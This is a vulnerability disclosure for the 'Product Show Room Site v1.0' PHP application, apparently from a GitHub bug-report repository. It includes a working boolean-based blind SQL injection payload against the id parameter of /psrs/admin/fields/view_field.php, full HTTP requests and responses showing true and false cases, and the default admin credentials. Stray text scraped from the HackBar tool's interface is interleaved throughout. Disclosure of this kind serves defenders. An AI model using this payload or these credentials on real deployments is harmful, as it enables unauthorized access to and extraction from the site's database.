

main

...

bug_report / vendors / oretnom23 / product-show-room-site / SQLi-10.md



debug601 Update SQLi-10.md

History

1 contributor

35 lines (24 sloc) | 1.46 KB

...

Product Show Room Site v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html>

Vulnerability File: /psrs/admin/fields/view_field.php?id=

Vulnerability location: /psrs/admin/fields/view_field.php?id=, id

Current database name: psrs_db ,length is 7

[+] Payload: /psrs/admin/fields/view_field.php?

id=1%27%20and%20length(database())%20=7--+ // Leak place ---> id

```
GET /psrs/admin/fields/view_field.php?id=1%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1

Connection: close

When length (database ()) = 6, Content-Length: 835

<pre>GET /psrs/admin/fields/view_field.php?id=1%27 %20and%20length(database())%20=6--+ HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1 Connection: close</pre>	<pre>HTTP/1.1 200 OK Date: Fri, 03 Jun 2022 09:38:29 GMT Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7 X-Powered-By: PHP/8.0.7 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Content-Length: 835 Connection: close Content-Type: text/html; charset=UTF-8 <script>alert("field ID is not valid."); location.replace("./?page=fields")</sc ript><style> #uni_modal .modal-footer{ display:none</pre>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------	-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION O

Load URL http://192.168.1.19/psrs/admin/fields/view_field.php?id=1' and length(database())=6--+

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

field ID is not valid.

确定

When length (database ()) = 7, Content-Length: 628

```
GET
/psrs/admin/fields/view_field.php?id=1%27
%20and%20length(database())%20=7--+
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1
Connection: close
```

```
HTTP/1.1 200 OK
Date: Fri, 03 Jun 2022 09:37:40 GMT
Server: Apache/2.4.48 (win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache,
must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 628
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
    #uni_modal .modal-footer{
        display:none
    !important;
}
</style>
```

Load URL

Split URL

Execute

http://192.168.1.19/psrs/admin/fields/view_field.php?id=1' and length(database()) =7--+|

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

lr

Category

Main

Name

Field #1

Status

Active

Close